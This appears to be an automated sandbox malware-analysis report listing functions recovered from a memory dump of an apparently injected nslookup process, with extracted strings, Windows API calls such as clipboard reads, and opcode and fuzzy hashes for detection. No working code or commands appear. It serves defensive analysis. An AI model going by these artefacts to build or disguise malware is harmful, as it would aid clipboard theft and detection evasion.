Opcode ID: 239890667d79bac2f4c396491c474fe184d8ddf955bbdd41d88362bc0d4148fa
Instruction ID: 9a36049707e73eac9dafbfb705c53e56b908f8b1f3c039e897f037e9cdc46b63
Opcode Fuzzy Hash: 239890667d79bac2f4c396491c474fe184d8ddf955bbdd41d88362bc0d4148fa
Instruction Fuzzy Hash: B3E178B5508345DFE720DF24D880B2EBBF9FB86348F148D2CE6898B291D7319954CB52

Function 02C88FF0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 460COMMON

Download Yara Rule

Strings

~F, xrefs: 02C8946E
;{}, xrefs: 02C89015
W'Y, xrefs: 02C895BB
`8, xrefs: 02C8945E
aq, xrefs: 02C89466
qo, xrefs: 02C89476

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: ;{}$`8$aq$qo$~F$W'Y
API String ID: 0-4060129118
Opcode ID: 28e762e5e904969da30d0aa2bad788bdb9a09776de03bca4d41e3ab9d70fd9b8
Instruction ID: ad499b2de2ee8e56269bb82d001b17aff29ab3d4631bda63389f7003aa30a093
Opcode Fuzzy Hash: 28e762e5e904969da30d0aa2bad788bdb9a09776de03bca4d41e3ab9d70fd9b8
Instruction Fuzzy Hash: B7024EB4508380ABD300EF55E994A2FBBF5EB86B49F00891CF4C99B251D374DA05DBA7

Function 02C90810 Relevance: 10.7, Strings: 8, Instructions: 708COMMON

Download Yara Rule

Strings

SV, xrefs: 02C90F87
VQgi, xrefs: 02C90F5F
uvw, xrefs: 02C90995
m1s3, xrefs: 02C909C3, 02C909CB
z, xrefs: 02C90BA7
4`[b, xrefs: 02C90E80
`h] , xrefs: 02C90F6F
4`[b, xrefs: 02C90B50

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b$4`[b$SV$VQgi$`h] $m1s3$z$uvw
API String ID: 0-1570870778
Opcode ID: dfb269b3b87b10847c56f7121dfac0cc8aedd6375e62d860d86fc6e0e916648f
Instruction ID: 1a5ceec8ef0cce44f0bd3a89fdb9a38cbafd4a1562d38623ae66d4776908089f
Opcode Fuzzy Hash: dfb269b3b87b10847c56f7121dfac0cc8aedd6375e62d860d86fc6e0e916648f
Instruction Fuzzy Hash: A242ACB1908381DFD7119F29D894B2ABBE6AF89708F084E5CF5D89B251D332DA14CB53

Function 02C82260 Relevance: 10.4, Strings: 8, Instructions: 387COMMON

Download Yara Rule

Strings

/]([, xrefs: 02C82313
9E0C, xrefs: 02C82303
\9b7, xrefs: 02C82373, 02C8237B
de, xrefs: 02C82343
Q1:O, xrefs: 02C822EB
xY9W, xrefs: 02C8231B
HI, xrefs: 02C82517
G5M3, xrefs: 02C822E3

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: /]([$9E0C$G5M3$HI$Q1:O$\9b7$de$xY9W
API String ID: 0-328433602
Opcode ID: d58d2c014d10d74faee5c9036560615a5eea29ed9337275f3a4a885797f2555c
Instruction ID: f6e3cf12b321abc9f292dca5ec29d395ca4f5b2f0d8251a258fe626a301d54e6
Opcode Fuzzy Hash: d58d2c014d10d74faee5c9036560615a5eea29ed9337275f3a4a885797f2555c
Instruction Fuzzy Hash: 2FA17A744083808BC724EF18C8A5B2AB7F5FF96768F54894CE8D58B291E739D601CB67

Function 02C94136 Relevance: 9.8, APIs: 1, Strings: 4, Instructions: 1039COMMON

Download Yara Rule

Strings

cos`, xrefs: 02C94B1D
jXJ,, xrefs: 02C94A1B
34t, xrefs: 02C94D30
QYMA, xrefs: 02C94173

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 34t$QYMA$cos`$jXJ,
API String ID: 0-3026627037
Opcode ID: 5221265bb844239ee4ab2e6d7832ca326cc8042fce71907b082e48b25f13f33b
Instruction ID: da501bf3acc09bdb082fa96c925cdc9b45d06a5ecaf6a1bc796074bfda8e88f9
Opcode Fuzzy Hash: 5221265bb844239ee4ab2e6d7832ca326cc8042fce71907b082e48b25f13f33b
Instruction Fuzzy Hash: F582BD74504B808FDB3A8F35C4587A3BBE1AF4A309F44896DD5EB87692CB35E606CB50

Function 02C99D70 Relevance: 9.1, APIs: 6, Instructions: 119clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02C99D94
GetWindowLongW.USER32 ref: 02C99DC3
GetClipboardData.USER32 ref: 02C99DD6
CloseClipboard.USER32 ref: 02C99ED9

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 2e6099017ed296f80ebb9fbf60d9ab12c6a2195a1c68381ace099ee0b2f727bc
Instruction ID: 1ffb47a44ecce7ce6642887cf22b231fb3d0488ae4482e6446b7cd7c3de64657
Opcode Fuzzy Hash: 2e6099017ed296f80ebb9fbf60d9ab12c6a2195a1c68381ace099ee0b2f727bc
Instruction Fuzzy Hash: 3041B1B19087858FDB21AB7C958D36EBFE0AF42224F048E6CE4E6872C1D3349555C7A3

Function 02C94060 Relevance: 8.0, APIs: 1, Strings: 3, Instructions: 959COMMON

Download Yara Rule

Strings

cos`, xrefs: 02C94B1D
jXJ,, xrefs: 02C94A1B
34t, xrefs: 02C94D30

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 34t$cos`$jXJ,
API String ID: 0-1477531880
Opcode ID: c0982e8ecbc2b3d72780cf62986cfb75af5ae53d628e0a2038fe8f547095fd4b
Instruction ID: 952f93e09ac86be3b10fb69a0c32d59fab23cd0f350f826c032b6eb1e4650e68
Opcode Fuzzy Hash: c0982e8ecbc2b3d72780cf62986cfb75af5ae53d628e0a2038fe8f547095fd4b
Instruction Fuzzy Hash: E772BE70504B808FDB3A8F35C4947A3BBE1AF4A309F54896DD5EB87692CB35E606CB50

Function 02C6DA90 Relevance: 6.5, Strings: 5, Instructions: 268COMMON

Download Yara Rule

Strings

RTjb, xrefs: 02C6DD6E
PPaR, xrefs: 02C6DD76
ZS, xrefs: 02C6DAF6
(_+X, xrefs: 02C6DD7E
WX,3, xrefs: 02C6DD86

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: (_+X$PPaR$RTjb$WX,3$ZS
API String ID: 0-863934208
Opcode ID: 3ddfa35f87954236f0c23a299fca66bb3b93060c60e7a05e05d5190dfb38f789
Instruction ID: b803d863038fcfc875b57995bf8e16bdd8320fb34b5f9c1dd7b254ff2a4695f2
Opcode Fuzzy Hash: 3ddfa35f87954236f0c23a299fca66bb3b93060c60e7a05e05d5190dfb38f789
Instruction Fuzzy Hash: C6A156B410C3809FD3218F1995A4B2BFBE1AF86745F54895DE4E59B382C375C906CB93

Function 02CA46C0 Relevance: 6.4, Strings: 5, Instructions: 195COMMON

Download Yara Rule

Strings

0, xrefs: 02CA4826
, xrefs: 02CA48C6, 02CA48A3, 02CA48AB
S]^Z, xrefs: 02CA4770
_ZTn, xrefs: 02CA4780
O[=F, xrefs: 02CA4778

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeThunk
String ID: 0$O[=F$S]^Z$_ZTn$
API String ID: 2994545307-2719754397
Opcode ID: df3632cdc5916e9aa9b509fbf64eb5b636421a9fd247587937f423887b473dbf
Instruction ID: 527982aa02b47155f0588a037d148c7781525a54393770b5dd497796ec3b6ce6
Opcode Fuzzy Hash: df3632cdc5916e9aa9b509fbf64eb5b636421a9fd247587937f423887b473dbf
Instruction Fuzzy Hash: 7A8115B45083829BD728DF14D8A4B2ABBF6FF89358F54491CF99587381C375E910CB92

Function 02C7F552 Relevance: 5.4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 02C7FA29, 02C7F9E7, 02C7F969, 02C7F927, 02C7F8A9, 02C7F867, 02C7F876, 02C7F936, 02C7F9F6
nInO, xrefs: 02C7F657, 02C7F666
4`[b, xrefs: 02C7F980
4`[b, xrefs: 02C7FA40

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b$4`[b$nInO$
API String ID: 2994545307-1506492284
Opcode ID: a74d78e62fcf747b24ac18168d075d6cc2206ecc017f51284d8912e3f43a943c
Instruction ID: ec3cd96d54189af5946e38fbc53ef547306a436f4acbb81eede86789edcd8be2
Opcode Fuzzy Hash: a74d78e62fcf747b24ac18168d075d6cc2206ecc017f51284d8912e3f43a943c
Instruction Fuzzy Hash: 28C176B49093819BE3358F20C8A5BEBB7E2BFC5305F644D1CE5889B290DB769590CB52

Function 02C9A264 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 02C9A29A
GetSystemMetrics.USER32 ref: 02C9A2A9

Strings

, xrefs: 02C9A354

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 05059cb062290117b52eb7aa44f33984213c250022c06cb0190d16ac32b308b2
Instruction ID: 7fea6044212e4cbcfbe70c78f2b838519d14bc57246479ff65fdc0fc6960a2d7
Opcode Fuzzy Hash: 05059cb062290117b52eb7aa44f33984213c250022c06cb0190d16ac32b308b2
Instruction Fuzzy Hash: 09317FB09143048FDB00EF6DEA8565EBBF4FB88308F11892DE598DB350D774A958CB92

Function 02CA4B60 Relevance: 4.3, Strings: 3, Instructions: 572COMMON

Download Yara Rule

Strings

, xrefs: 02CA4BE6, 02CA4BC3, 02CA4BCB
, xrefs: 02CA5212, 02CA51E3, 02CA4E96, 02CA4F08, 02CA4E73, 02CA4DEF, 02CA4DC3, 02CA4DCB, 02CA4E7B, 02CA4F0C, 02CA51EB
f, xrefs: 02CA4D86

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: f$$
API String ID: 0-2685584965
Opcode ID: 622a28a33d9f5cb7c51915aff7ff28bd801b8d8c9017ca69c1b5a2d16f3d946e
Instruction ID: d4fb3e10816f0420fc3e85a6055b795542e407d19938dcf259e0eeb4e5cf7f02
Opcode Fuzzy Hash: 622a28a33d9f5cb7c51915aff7ff28bd801b8d8c9017ca69c1b5a2d16f3d946e
Instruction Fuzzy Hash: 3112A2719083428FC729CF28C8A0B2EB7E6BBC4358F548A2CE5D597391D771E905CB52

Function 02C82C90 Relevance: 4.3, Strings: 3, Instructions: 528COMMON

Download Yara Rule

Strings

hUVS, xrefs: 02C83214, 02C8321D
{jhk, xrefs: 02C831DF
X, xrefs: 02C82EE6

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: X$hUVS${jhk
API String ID: 0-1700130621
Opcode ID: 3f4bcb633678015ddfdabc249f28c4bdf0efc2fe8b785642f4c930266efd323e
Instruction ID: 56256c79b238ce4c6feb34d38b7fb145c8c33d56e6561791fb1e87a6d1831b16
Opcode Fuzzy Hash: 3f4bcb633678015ddfdabc249f28c4bdf0efc2fe8b785642f4c930266efd323e
Instruction Fuzzy Hash: E802AFB5508380ABD301EB10D884A6FBBE5AFC5B08F14885DF9C897252D735ED45DB93

Function 02C63710 Relevance: 4.2, Strings: 3, Instructions: 439COMMON

Download Yara Rule

Strings

NaN, xrefs: 02C6376E
|, xrefs: 02C639C2
Inf, xrefs: 02C63767

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: Inf$NaN$|
API String ID: 0-2466523057
Opcode ID: 98d53967ed3949b04030331a34f604f1663b2f1e6c18a280541f6caefe17d5e0
Instruction ID: 89035e97c9c6c154165d9bfb4908d1de973234352fbbcd13be9d897da51e6a94
Opcode Fuzzy Hash: 98d53967ed3949b04030331a34f604f1663b2f1e6c18a280541f6caefe17d5e0
Instruction Fuzzy Hash: 1FE1F472A183429BC304CE28C9C466AB7E2EFC4B54F148A6DE999D73A5E731DD01CBC1

Function 02C68750 Relevance: 4.1, Strings: 3, Instructions: 393COMMON

Download Yara Rule

Strings

), xrefs: 02C687CC
IEND, xrefs: 02C68BB0
), xrefs: 02C687D6

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 95f16e6a614c999ea988fc80f9a6721a0cdf8bec9d354abd69ab946ebaf5d6bb
Instruction ID: 714011072f38f589a350677441013c5aaf9ad3ae71e98a76e584d15ac26e5329
Opcode Fuzzy Hash: 95f16e6a614c999ea988fc80f9a6721a0cdf8bec9d354abd69ab946ebaf5d6bb
Instruction Fuzzy Hash: 2EE1D5B1A087429FD310CF28D89876ABBE1FF84318F044A2DE99597381D775E919CBD2

Function 02C6DE20 Relevance: 4.1, Strings: 3, Instructions: 335COMMON

Download Yara Rule

Strings

D397067A670727AC2DE75B6F1BEE56FE, xrefs: 02C6DEDC
w`}b, xrefs: 02C6DFB4
opgt, xrefs: 02C6DFAC

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: D397067A670727AC2DE75B6F1BEE56FE$opgt$w`}b
API String ID: 0-2810182767
Opcode ID: 3989b10e88371cadf7d878de8a2076a08c69344606be0789edfcb08e245492a3
Instruction ID: c79f8f4ced0fe229a529aea97482f7186bdeba6796f9108dd7c19f079c266db2
Opcode Fuzzy Hash: 3989b10e88371cadf7d878de8a2076a08c69344606be0789edfcb08e245492a3
Instruction Fuzzy Hash: C2C131B05083809FD321EF59D488A2FBBE5EB96748F100D1DE5D58B252D736D908CBA3

Function 02CA0580 Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CA06D0
/.-,, xrefs: 02CA0693, 02CA069B
/.-,, xrefs: 02CA05E3, 02CA05EB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: /.-,$/.-,$4`[b
API String ID: 0-3655442430
Opcode ID: 9251b4ee9f878d666e4225671512ce0091ed0742314f534c742d591a79d26f59
Instruction ID: 2d91c9d4ed91a528024ea154702494ca3725f148706f921dc3cdd9262f8786c0
Opcode Fuzzy Hash: 9251b4ee9f878d666e4225671512ce0091ed0742314f534c742d591a79d26f59
Instruction Fuzzy Hash: 7551D471A48242DFD715DF69D864B2BB7E6EB95388F10491CE5C187241D732D510CFA2

Function 02C7325D Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

", xrefs: 02C73437
D, xrefs: 02C734B6
F'W9, xrefs: 02C732CD

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: "$D$F'W9
API String ID: 0-1820947052
Opcode ID: 84710c7f68df2d901e92aa05589bf66214704a35dee2fbeb6434500168ce9ced
Instruction ID: bf0637cf748c14cd01938e1d71b2d99a126890dc38dfa5659eb06697fc3a6453
Opcode Fuzzy Hash: 84710c7f68df2d901e92aa05589bf66214704a35dee2fbeb6434500168ce9ced
Instruction Fuzzy Hash: 6151EAB40183809BE7648F11C5997AFBBF0BF92B08F50890CE4D85B290D7BA8549CF86

Function 02CAA920 Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

\9X7, xrefs: 02CAA923
@, xrefs: 02CAA970
;:54, xrefs: 02CAA9B3, 02CAA9BB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$@$\9X7
API String ID: 2994545307-443102510
Opcode ID: 8a81707d75a481e4039259f945ae65ae30cdf62302966e866789f60d74b9f21d
Instruction ID: 444f9e124f165ce515ccc9585f219a1b5c73b7791bc26c4263c7938af3085b94
Opcode Fuzzy Hash: 8a81707d75a481e4039259f945ae65ae30cdf62302966e866789f60d74b9f21d
Instruction Fuzzy Hash: 543178709083019BC310DF24D494A2AFBF9FFDA318F14892CE5C587250E336D918CB62

Function 02CA9580 Relevance: 3.2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

Strings

T'&!, xrefs: 02CA95B3, 02CA95BB
0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$$T'&!
API String ID: 0-2300784948
Opcode ID: 97b378c2df5dddb173a68ead5bc0236c5ec444a098c56316dbc5954f654935ea
Instruction ID: cfd7772d8bdd5332184d7eab37c8d6c7a74df72e3f1021bcb3802e9b6e3896e7
Opcode Fuzzy Hash: 97b378c2df5dddb173a68ead5bc0236c5ec444a098c56316dbc5954f654935ea
Instruction Fuzzy Hash: 16329934A4C241CFC719DF28E4A0A1AB7F1FF8A319F098D6DE58687252D335E964DB42

Function 02C954A6 Relevance: 2.9, Strings: 2, Instructions: 353COMMON

Download Yara Rule

Strings

[^"Y, xrefs: 02C955CB
U.Da, xrefs: 02C956B5

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: U.Da$[^"Y
API String ID: 0-3132506315
Opcode ID: 7947da006538feee4d630845400bc7aac3961d1ce100cf207def9239058bcbd7
Instruction ID: c6a67e1fffc08ef4de7fa13a1a49c26d606500cd626d22c4a8b010cf3f37aa47
Opcode Fuzzy Hash: 7947da006538feee4d630845400bc7aac3961d1ce100cf207def9239058bcbd7
Instruction Fuzzy Hash: ACE14C70404B808EDB32CF35C494BE3BBE1AF16344F88899DD5EA8B692D735E205DB65

Function 02C74D8D Relevance: 2.8, Strings: 2, Instructions: 313COMMON

Download Yara Rule

Strings

H9, xrefs: 02C74D8D
*, xrefs: 02C74F0B

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: *$H9
API String ID: 0-3056219007
Opcode ID: 0f64ae11c1b58de94c67c0e90af07481014e908acd75abc3a3282f4e88294803
Instruction ID: dc26a4cfa14ad715e661348256591e858480b4b609ac0e74525fbb8b228fa8e0
Opcode Fuzzy Hash: 0f64ae11c1b58de94c67c0e90af07481014e908acd75abc3a3282f4e88294803
Instruction Fuzzy Hash: 9AB123B05083809BE325EFA4D884B2FFBF9AF96705F44096DE8C497251E3759914CBA3

Function 02C82063 Relevance: 2.7, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

TU, xrefs: 02C82100
jABC, xrefs: 02C821E3, 02C821EB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: TU$jABC
API String ID: 0-716033895
Opcode ID: b4319c74ef4cf1c509835e495919c2dbb9827024894744d1687da06b2d6bbc04
Instruction ID: 3651c90cdfdda18b0896ade7fd6fd356821f9d297a980d547168481a8c7098e0
Opcode Fuzzy Hash: b4319c74ef4cf1c509835e495919c2dbb9827024894744d1687da06b2d6bbc04
Instruction Fuzzy Hash: 964177B0508384ABD710EF14D895B2ABBF1EF92748F14881CE9C58B251E379DA04CB97

Function 02C85320 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

KM, xrefs: 02C8536D
LO, xrefs: 02C85375

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: LO$KM
API String ID: 0-467390890
Opcode ID: 0a7081471d765e4aeed888a1d85050116e13776691aa7093bb285148b1bcc624
Instruction ID: 39be74b19804f50e0cf581c8cd2d18f3f0f5eb5ddd8f05a3a0f8ce6f7b129a39
Opcode Fuzzy Hash: 0a7081471d765e4aeed888a1d85050116e13776691aa7093bb285148b1bcc624
Instruction Fuzzy Hash: 9621B2B4409200DBC310AF18C851A2BB7F5EFD6799F96890CE4C997291E3B4DA00CBA7

Function 02C8AFD0 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

, xrefs: 02C8B04D, 02C8B007, 02C8B016
4`[b, xrefs: 02C8B060

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b$
API String ID: 0-1013063763
Opcode ID: 01c63b0549397ce14073a1499ece3e9286f3bcffb93d816acd7834dc22514166
Instruction ID: 6498942e13b3979f60c03c1139f77b3c947d75ba25770a0ee1048af8b72b3fb8
Opcode Fuzzy Hash: 01c63b0549397ce14073a1499ece3e9286f3bcffb93d816acd7834dc22514166
Instruction Fuzzy Hash: B6112B70908344CBC765AE60D894B6AB7F2FB86349F94C818E5C8D7211EB32A8548B92

Function 02CA92C0 Relevance: 2.1, Strings: 1, Instructions: 866COMMON

Download Yara Rule

Strings

0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$
API String ID: 0-900979605
Opcode ID: afae05a618d6f54ca54a44c950d3236d3592305f508ff39d1ea912b7d544be88
Instruction ID: 1f7fa406c670a70b664cae0a82506c0eb537ba6b555250668eb4a2fdd8ed8aee
Opcode Fuzzy Hash: afae05a618d6f54ca54a44c950d3236d3592305f508ff39d1ea912b7d544be88
Instruction Fuzzy Hash: D452AC35A4C241CFC719DF28E4A0A1AB7F1FB8A319F098D6DE5C687252D335E960DB42

Function 02CA9410 Relevance: 2.1, Strings: 1, Instructions: 801COMMON

Download Yara Rule

Strings

0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$
API String ID: 0-900979605
Opcode ID: 32018b5121b8c2e2a55be0e378b52fd88d5a6fd817120d23a6571e5c8a0d228d
Instruction ID: 0e4dcadb7b4e1c3f00dd8a09f7ee6329f19cf3a030d437ef97e8f263ca762726
Opcode Fuzzy Hash: 32018b5121b8c2e2a55be0e378b52fd88d5a6fd817120d23a6571e5c8a0d228d
Instruction Fuzzy Hash: 10428A3464C241CFC719DF28E4A0A1AB7E2FF8A319F098D6DE5C687252D335E960DB52

Function 02CA9690 Relevance: 1.9, Strings: 1, Instructions: 670COMMON

Download Yara Rule

Strings

0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$
API String ID: 0-900979605
Opcode ID: b0bd576a6126eefdc41c1a799a0cd3cb396c338b35c9712c04eb10911bf82278
Instruction ID: 2d06f28b612014b77f61d4cbdf3f4b830d760442a633c375a018935e3cd3ecc4
Opcode Fuzzy Hash: b0bd576a6126eefdc41c1a799a0cd3cb396c338b35c9712c04eb10911bf82278
Instruction Fuzzy Hash: 0022883464C241CFC719DF28E4A0A2AB7E1FF8A319F098D6DE5C587252D335E960CB52

Function 02CA9780 Relevance: 1.9, Strings: 1, Instructions: 670COMMON

Download Yara Rule

Strings

0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$
API String ID: 0-900979605
Opcode ID: 7bb5b771cde470ee84229f3ab6c74dc9e48add95f3d0ee167318f56f56584337
Instruction ID: 83ca529bfb0d5f385bd8c882ee41f0781a89f71fe04b17eeb32423b43bc1b1a4
Opcode Fuzzy Hash: 7bb5b771cde470ee84229f3ab6c74dc9e48add95f3d0ee167318f56f56584337
Instruction Fuzzy Hash: F4228A3460C241DFC719DF28E5A0A2AFBE2EF8A319F198D6DE5C587252D335D920CB52

Function 02C876A0 Relevance: 1.7, APIs: 1, Instructions: 242comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(02CADB80,00000000,00000001,02CADB70), ref: 02C876C9

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 7c47c78630a1a68e0147de694039e7adcf3cfdbea4e35bb51b12268e2583d2e6
Instruction ID: d846fd184a937a0f345fc394a20bc52dd363e69e1c27e4d520ab57a0a90f9950
Opcode Fuzzy Hash: 7c47c78630a1a68e0147de694039e7adcf3cfdbea4e35bb51b12268e2583d2e6
Instruction Fuzzy Hash: 6951C1B96003009BDB20AB64CC96B77B3B4FF8135CF248558F9868B291F375E949C761

Function 02CA9A40 Relevance: 1.7, Strings: 1, Instructions: 458COMMON

Download Yara Rule

Strings

0$, xrefs: 02CA9AD3, 02CA9ADB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0$
API String ID: 0-900979605
Opcode ID: af44c326e6aa598c5aa6f15f49da124fa59be470015024995c7199a0e579d9f9
Instruction ID: 781649d75cb9e39495028ea0d33edfe210f28ab966ee0887a5cf8a5b6ca0e5af
